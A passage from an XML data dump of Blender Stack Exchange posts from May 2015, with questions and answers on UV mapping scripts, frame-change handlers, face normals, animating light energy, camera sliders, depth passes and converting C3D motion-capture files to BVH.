u.dot(l.vert.co),&#xA;                           v.dot(l.vert.co)]&#xA;&#xA;def set_uvs(mesh, name=None):&#xA;&#xA;    if name is None:&#xA;        if 0&amp;lt;len(mesh.uv_textures):&#xA;            uv = mesh.uv_textures[0]&#xA;        else:&#xA;            uv = mesh.uv_textures.new(&quot;cubic&quot;)&#xA;    else:&#xA;        uv = mesh.uv_textures.get(name)&#xA;        if uv is None:&#xA;            uv = mesh.uv_textures.new(name)&#xA;&#xA;    bm = bmesh.new()&#xA;    bm.from_mesh(mesh)&#xA;&#xA;    uv_layer = bm.loops.layers.uv[uv.name]&#xA;&#xA;    for fi in range(len(bm.faces)):&#xA;        set_uvs_for_face(bm, fi, uv_layer)&#xA;&#xA;    bm.to_mesh(mesh)&#xA;&#xA;#&#xA;#&#xA;#&#xA;&#xA;mode = bpy.context.mode&#xA;if 'OBJECT' != mode:&#xA;    bpy.ops.object.mode_set(mode='OBJECT')&#xA;&#xA;obj = bpy.context.active_object&#xA;set_uvs(obj.data)&#xA;&#xA;if 'OBJECT' != mode:&#xA;    bpy.ops.object.mode_set(mode = mode)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-05-13T18:07:06.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30817" PostTypeId="1" CreationDate="2015-05-13T18:26:26.207" Score="3" ViewCount="212" Body="&lt;p&gt;Is there any way to make an object pulse to sound? I want to make my camera pulse to the beat of some music WITHOUT ANIMATION.&lt;/p&gt;&#xA;" OwnerUserId="13990" LastActivityDate="2015-05-13T18:26:26.207" Title="Objects pulse to sound?" Tags="&lt;game-engine&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30818" PostTypeId="2" ParentId="30813" CreationDate="2015-05-13T19:10:27.003" Score="7" Body="&lt;p&gt;Since this property cannot be animated or driven, the only thing left is to control it with script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import math&#xA;&#xA;def function(frame):&#xA;    # modify this function if you want&#xA;    return math.pow(4.75, (frame-30)/50) - 0.75&#xA;&#xA;def my_handler(scene):&#xA;    # this code will be run on every frame change&#xA;    scene.render.motion_blur_shutter = function(scene.frame_current)&#xA;&#xA;bpy.app.handlers.frame_change_pre.append(my_handler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Run this in the Text editor, render the animation normally.&#xA;If you want to make changes after you ran the code, remove the handler first with typing this into the console: &lt;code&gt;bpy.app.handlers.frame_change_pre.clear()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would like to animate the value, create a custom ID property for the scene which you can animate (name the property &quot;shutter&quot;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eipCb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And use this code (it copies the value into the shutter speed):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def my_handler(scene):&#xA;    scene.render.motion_blur_shutter = scene[&quot;shutter&quot;]&#xA;&#xA;bpy.app.handlers.frame_change_pre.append(my_handler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-05-13T19:17:11.560" LastActivityDate="2015-05-13T19:17:11.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30819" PostTypeId="1" AcceptedAnswerId="30821" CreationDate="2015-05-13T19:59:55.007" Score="3" ViewCount="360" Body="&lt;p&gt;I'm having trouble telling which direction each face is facing, is there any easy way of changing the default face colors to something else than light grey/slightly darker grey? or are there any other easy ways of telling when a face is pointing the wrong way?&lt;/p&gt;&#xA;" OwnerUserId="14346" LastEditorUserId="5426" LastEditDate="2015-05-13T20:18:42.213" LastActivityDate="2015-05-13T20:18:42.213" Title="How can I make face uv orientation clearer?" Tags="&lt;texturing&gt;&lt;game-engine&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="0" ClosedDate="2015-05-14T02:54:45.083" ContentLicense="CC BY-SA 3.0" />
  <row Id="30820" PostTypeId="2" ParentId="30819" CreationDate="2015-05-13T20:06:35.867" Score="2" Body="&lt;p&gt;You can try turning on &lt;em&gt;Backface Culling&lt;/em&gt; in the &lt;kbd&gt;N&lt;/kbd&gt; menu. This will show only the wireframe for all reversed normal faces without a properly facing face behind them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wbFCg.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-05-13T20:06:35.867" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30821" PostTypeId="2" ParentId="30819" CreationDate="2015-05-13T20:07:04.393" Score="5" Body="&lt;p&gt;There are two much easier things you can do to visualize the direction that faces are pointing than change the user preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first is activating the normals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NyTGj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now every face will have a blue line pointing in the direction it is pointing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other thing you can do is enable &lt;strong&gt;&lt;em&gt;Backface Culling&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W8eGE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I have added some loop cuts so that there are more faces to see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If one is inverted, and pointing inward, you will also see through it. this is good for working in the BGE where faces pointing inward will make your mesh look really weird.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/seOBe.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-05-13T20:09:49.170" LastActivityDate="2015-05-13T20:09:49.170" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30823" PostTypeId="1" AcceptedAnswerId="30825" CreationDate="2015-05-13T20:51:55.197" Score="3" ViewCount="130" Body="&lt;p&gt;I know that &lt;code&gt;Segmentation Fault&lt;/code&gt; is some sort of memory error having to do with &lt;code&gt;C&lt;/code&gt; and &lt;code&gt;C++&lt;/code&gt; - beyond that I don't really know how to handle it. I read up on this error through &lt;a href=&quot;https://stackoverflow.com/questions/2346806/what-is-segmentation-fault&quot;&gt;this post on stackoverflow&lt;/a&gt;, and &lt;a href=&quot;https://blender.stackexchange.com/questions/8997/multi-file-packages-need-to-unregister-all-classes-from-files&quot;&gt;this post on multi-file registering/unregistering&lt;/a&gt; but still don't have much of a clue.&lt;/p&gt;&#xA;&lt;p&gt;I am experimenting with custom properties, sliders and operators. Everything as far as I can tell is accessing what it is supposed to (as in, I adjust the slider and the appropriate object's value is updated) but I am getting a bajillion &lt;code&gt;KeyError&lt;/code&gt;'s and then Blender crashes with a segfault.&lt;/p&gt;&#xA;&lt;h1&gt;Code&lt;/h1&gt;&#xA;&lt;pre&gt;&lt;code&gt;# Functions/Callbacks&#xA;&#xA;    def get_rotate_cam(self):&#xA;        return self[&amp;quot;Rotate Camera&amp;quot;]&#xA;    &#xA;    def set_rotate_cam(self, value):&#xA;        self[&amp;quot;Rotate Camera&amp;quot;] = value&#xA;    &#xA;    def update_rotate_cam(self, context):&#xA;        for obj in bpy.context.selected_objects:&#xA;            bpy.ops.opject.select_pattern(pattern=&amp;quot;Camera&amp;quot;)&#xA;            obj.rotation_euler[0] = get_rotate_cam_x(self)&#xA;&#xA;#Property Group&#xA;&#xA;    class SliderProperties(bpy.types.PropertyGroup):&#xA;        bpy.types.Scene.rotCam = FloatProperty(&#xA;            name=&amp;quot;Rotate Camera&amp;quot;,&#xA;            description=&amp;quot;Rotate the camera with the slider&amp;quot;&#xA;            default=0,&#xA;            min=0,&#xA;            max=360,&#xA;            update=update_rotate_cam,&#xA;            get=get_rotate_cam,&#xA;            set=set_rotate_cam&#xA;        )&#xA;&#xA;#Panel&#xA;&#xA;    class EditStuff(bpy.types.Panel):&#xA;        bl_label = &amp;quot;Edit&amp;quot;&#xA;        bl_space_type = &amp;quot;VIEW_3D&amp;quot;&#xA;        bl_region_type = &amp;quot;TOOLS&amp;quot;&#xA;        bl_context = &amp;quot;objectmode&amp;quot;&#xA;    &#xA;        def draw(self, context):&#xA;            layout = self.layout&#xA;            layout.prop(bpy.context.scene, &amp;quot;rotCam&amp;quot;)&#xA;&#xA;# Registration&#xA;&#xA;&#xA;    def register():&#xA;        bpy.utils.register_module(__name__)&#xA;    def unregister():&#xA;        bpy.utils.unregister_module(__name__)&#xA;    &#xA;    if __name__ == &amp;quot;__main__&amp;quot;:&#xA;        register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So I am clearly doing something super inefficient here, I'm just not sure what it is. What is also throwing me off is when I use the custom slider &lt;em&gt;once&lt;/em&gt;, clear the terminal, I don't get the &lt;code&gt;KeyError&lt;/code&gt; any more. That has me thinking that it is some sort of initialization or context shenanegains going on. Hanging pointer maybe? Just not sure.&lt;/p&gt;&#xA;&lt;p&gt;I also have a similar set up with compositor nodes to adjust things like shadows. Everything works correctly, I can adjust the shadows, but the &lt;code&gt;KeyError&lt;/code&gt; makes Blender crash.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for the help!&lt;/p&gt;&#xA;" OwnerUserId="13721" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-05-13T21:13:34.687" Title="Multiple KeyErrors leading to segfaults with custom properties" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30824" PostTypeId="1" AcceptedAnswerId="30826" CreationDate="2015-05-13T21:03:52.747" Score="12" ViewCount="12971" Body="&lt;p&gt;I'm new to animation with blender, I can animate the rotation, position and scale of a light, but not the energy that it emits. Can anyone tell me how to animate the Energy value?&lt;/p&gt;&#xA;" OwnerUserId="7732" LastEditorUserId="2217" LastEditDate="2015-05-13T22:41:31.463" LastActivityDate="2015-05-13T22:41:31.463" Title="How to animate light's energy" Tags="&lt;animation&gt;&lt;blender-internal-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30825" PostTypeId="2" ParentId="30823" CreationDate="2015-05-13T21:08:11.693" Score="3" Body="&lt;p&gt;I might be mis-interpretting your question but, this works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import math&#xA;&#xA;def update_rotate_cam(self, context):&#xA;    v = bpy.context.scene.rotCam&#xA;    bpy.data.objects['Camera'].rotation_euler.x = math.radians(v)&#xA;&#xA;class SliderProperties(bpy.types.PropertyGroup):&#xA;    bpy.types.Scene.rotCam = bpy.props.FloatProperty(&#xA;        name=&quot;Rotate Camera&quot;,&#xA;        description=&quot;Rotate the camera with the slider&quot;,&#xA;        default=0,&#xA;        min=0,&#xA;        max=360,&#xA;        update=update_rotate_cam,&#xA;    )&#xA;&#xA;class EditStuff(bpy.types.Panel):&#xA;    bl_label = &quot;Edit&quot;&#xA;    bl_space_type = &quot;VIEW_3D&quot;&#xA;    bl_region_type = &quot;TOOLS&quot;&#xA;    bl_context = &quot;objectmode&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        layout.prop(bpy.context.scene, &quot;rotCam&quot;)&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In python a safe way to access items using a key is often done this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# returns None if key isn't found &#xA;v = some_collection.get(key_name) &#xA;&#xA;# or provide the fallback value if not found&#xA;v = some_collection.get(key_name, fallback)  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-13T21:13:34.687" LastActivityDate="2015-05-13T21:13:34.687" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30826" PostTypeId="2" ParentId="30824" CreationDate="2015-05-13T21:27:29.777" Score="13" Body="&lt;p&gt;I found the solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Blender Internal&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Energy label: press right mouse button and select Insert Keyframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SwY4U.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Cycles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create an emission node and animate the strength.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9fzf9.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7732" LastEditorDisplayName="user1853" LastEditDate="2015-05-13T21:49:16.513" LastActivityDate="2015-05-13T21:49:16.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30827" PostTypeId="1" AcceptedAnswerId="30831" CreationDate="2015-05-13T21:56:40.657" Score="2" ViewCount="196" Body="&lt;p&gt;I have a model that looks like this.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pLwWg.png&quot; alt=&quot;model&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to animate it such that the arm with the blade swings around but at the same time the blade should rotate around when it reaches the middle like.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MoIXa.png&quot; alt=&quot;rotated model&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not entirely sure how to set something like this up.&lt;/p&gt;&#xA;" OwnerUserId="14348" LastEditorUserId="2217" LastEditDate="2015-05-13T22:43:07.717" LastActivityDate="2015-05-14T02:44:20.337" Title="How do I animate spinning arm with spinning end" Tags="&lt;modeling&gt;&lt;animation&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30828" PostTypeId="1" CreationDate="2015-05-13T23:16:30.267" Score="2" ViewCount="156" Body="&lt;p&gt;This is my conveyor belt in game. its actually translating instead of rotating around the middle in a chainlike fashion, which it is doing in blender. I did this by moving the bone, and it rotates the chain. the curve is not applied, because i noticed if i apply it it will translate instead of rotating. how do i fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ar03p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is what i want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BWDp7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="5426" LastEditDate="2015-05-14T17:05:03.217" LastActivityDate="2015-05-14T17:05:03.217" Title="Unapplied curve modifier not applying after export?" Tags="&lt;modeling&gt;&lt;game-engine&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="10" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30829" PostTypeId="1" CreationDate="2015-05-14T00:59:55.160" Score="5" ViewCount="377" Body="&lt;p&gt;When I set the shading of a mesh to smooth, the shadows on the mesh are always black when rendered, but I need them to be blue. When I set the shading to flat the color of the shading turns out fine. Is there a way to make smooth shading not black?&lt;img src=&quot;https://i.stack.imgur.com/Azh91.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The person is set on flat and the scarf is smooth. I'm using Blender Internal.&lt;/p&gt;&#xA;" OwnerUserId="14351" LastEditorUserId="14351" LastEditDate="2015-05-17T20:02:44.470" LastActivityDate="2017-01-03T04:48:14.737" Title="Smooth shading and colored shadows" Tags="&lt;shaders&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30831" PostTypeId="2" ParentId="30827" CreationDate="2015-05-14T02:44:20.337" Score="2" Body="&lt;p&gt;Set the &lt;strong&gt;origin&lt;/strong&gt; of the arm at the point where you want it to rotate (note that I added a cylinder object as axis, that will be used later).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zZyJc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the blade, then &lt;kbd&gt;shift&lt;/kbd&gt; select the arm, and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; to parent the blade to the arm.&#xA;This will make it move and  rotate with the arm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IzxZ6.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the blade only and add a &lt;strong&gt;Copy Rotation constraint&lt;/strong&gt; to it. On the Target object I selected the cylinder on which the arm spins, but it could be the main object as well or an emtpy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZUVrX.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blade now follows the movement of the arm but the rotation on the Z axis determined by the cylinder object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YV9mA.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-05-14T02:44:20.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30832" PostTypeId="1" AcceptedAnswerId="30836" CreationDate="2015-05-14T07:10:15.713" Score="8" ViewCount="738" Body="&lt;p&gt;Imagine a spinning rings like the animation in this page &lt;a href=&quot;http://en.wikipedia.org/wiki/Gimbal_lock&quot;&gt;http://en.wikipedia.org/wiki/Gimbal_lock&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I planned to have my 2D character floating at the center and apply some crazy effects with After Effects, since that program is not a 3D program, I must render the scene as a sequence of images to further process it in After Effects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To place something in-between I think I should have 2 set of images which is in the front and back of specified Z value. My character will be at that Z so when some part of the ring spin over it will occlude the character correctly. Is there any way to separate rendering into 2 parts like this? (Or any better way?)&lt;/p&gt;&#xA;" OwnerUserId="14359" LastActivityDate="2017-08-22T11:51:24.153" Title="Render separate &quot;back part&quot; and &quot;front part&quot; so I can place something in between in other program?" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30833" PostTypeId="2" ParentId="30832" CreationDate="2015-05-14T07:26:47.693" Score="3" Body="&lt;p&gt;You could render the object animation twice, once with the camera clipping the far geometry, and a second time clipping the near geometry. Side on that looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;far clipping:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Nh1Q5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;near clipping: (shown in wireframe to allow you to see the Display limits property of the camera)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KZidG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-05-14T07:26:47.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30835" PostTypeId="1" AcceptedAnswerId="30838" CreationDate="2015-05-14T08:38:49.520" Score="4" ViewCount="9954" Body="&lt;p&gt;I have two files one &lt;code&gt;.bvh&lt;/code&gt; and the other is &lt;code&gt;.c3d&lt;/code&gt; and I want to convert them to &lt;code&gt;.bvh&lt;/code&gt; files if anyone could please advise how to do this as I need to work on bvh only.&lt;/p&gt;&#xA;" OwnerUserId="2517" LastEditorUserId="2517" LastEditDate="2015-05-14T08:53:07.980" LastActivityDate="2016-10-08T04:13:07.697" Title="Convert a C3d and TRC files to BVH" Tags="&lt;file-format&gt;" AnswerCount="2" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30836" PostTypeId="2" ParentId="30832" CreationDate="2015-05-14T08:44:19.833" Score="9" Body="&lt;p&gt;A common technique in 3D is to render a &lt;strong&gt;Z-Depth pass&lt;/strong&gt;. With this Z depth used &lt;strong&gt;as a mask&lt;/strong&gt; in your favorite compositing app you can place any object at any depth (you threshold the mask to desired value with levels).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage of this is that you have the freedom to change the Z-position of your 2D objects in postproduction. Exporting a Z-Depth pass is also often faster than rendering multiple times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create Z-Depth pass with custom material, mist pass or remapping the Z pass values:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/1555/how-can-i-get-a-depth-of-field-render-pass/1563#1563&quot;&gt;How can I get a Depth of field render pass?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/27044/compositing-fog-destroys-png-alpha-in-images-as-planes-when-using-cycles/27049#27049&quot;&gt;Compositing fog destroys PNG alpha in Images as Planes when using Cycles&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how to use such pass in After Effects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.videocopilot.net/tutorials/playlist/explosive_training/explosive_training1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Video Copilot Explosive training&lt;/a&gt; (At 35 mins)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He mixes 3D debris and objects with 2D explosions through Z-depth mask.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-05-14T13:45:21.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30837" PostTypeId="1" AcceptedAnswerId="30839" CreationDate="2015-05-14T09:10:48.663" Score="5" ViewCount="874" Body="&lt;p&gt;I'd like to delete the polygons which normals have negative y coordinates. With this script I can have the vector representing polygon's normal displayed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;current_obj = bpy.context.active_object&#xA;&#xA;print(&quot;=&quot;*40) # printing marker&#xA;for polygon in current_obj.data.polygons:&#xA;    verts_in_face = polygon.vertices[:]&#xA;    norm = polygon.normal&#xA;    print(&quot;face index&quot;, polygon.index)&#xA;    print(&quot;normal&quot;, polygon.normal)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My problem is that &lt;strong&gt;I simply can't check for y coordinate of this vector&lt;/strong&gt;: I've tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;polygon.normal[1]&#xA;polygon.normal.y&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc. I'm getting &quot;Syntax error: invalid syntax&quot; pointing at [1] or .y. In this case, it isn't possible to check vector's y coordinate against 0 in if statement, so I can't pick up the vectors which y coords are &gt;=0.&lt;/p&gt;&#xA;" OwnerUserId="6071" LastActivityDate="2015-05-14T10:59:10.297" Title="How can I delete polygons with negative y coordinates?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30838" PostTypeId="2" ParentId="30835" CreationDate="2015-05-14T09:46:17.777" Score="5" Body="&lt;p&gt;You can import &lt;code&gt;.c3d&lt;/code&gt; file in blender like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/20499320/how-to-import-c3d-files-into-blender&quot;&gt;https://stackoverflow.com/questions/20499320/how-to-import-c3d-files-into-blender&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is it won't be an armature, but animated locations of points:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PGpnK.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some points will be dead in the center (marked).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Adjust the frame range to fit the mocap data&lt;/li&gt;&#xA;&lt;li&gt;Delete the dead markers&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Re-build the armature - add armature to scene&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;looks like we have markers from both sides for each leg - that means the bones will be somewhere in between markers&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Building the armature:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select a marker (or two if I want position in between) and align 3D cursor with 'Shift-S &gt; Cursor to Selected'&lt;/li&gt;&#xA;&lt;li&gt;then enter edit-mode of armature and select a joint and 'Shift-S &gt; Selection to Cursor'&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;this way I can place all the bones (joints) precisely&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qrfeI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;also recalculate the Roll of the bones with 'Ctrl+N &gt; Cursor' with 3D cursor on some reference marker&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Name the bones properly&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Constraining location of root bones:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;use &lt;code&gt;copy_location&lt;/code&gt; constraint&lt;/li&gt;&#xA;&lt;li&gt;or two of them with second on 50% influence to get in-between position of two markers&lt;/li&gt;&#xA;&lt;li&gt;similar for center of 3 markers, you get the idea&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Constraining bones direction&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;use &lt;code&gt;damped_track&lt;/code&gt; constraint&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;also multiple of them with adjusted influence for center of group of markers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oOooY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bake the animation to Action with Pose &gt; Animation &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bake Action: visual_keying_ON, clear_constraints_ON&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Export armature as &lt;code&gt;.bvh&lt;/code&gt; from the blender main menu (you might need to enable BVH addon).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;These steps will result in having a &lt;code&gt;.c3d&lt;/code&gt; file converted to a &lt;code&gt;.bvh&lt;/code&gt; file.&#xA;A sample &lt;code&gt;.blend&lt;/code&gt; file with rigged markers here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/229&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=229&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2016-10-08T04:13:07.697" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
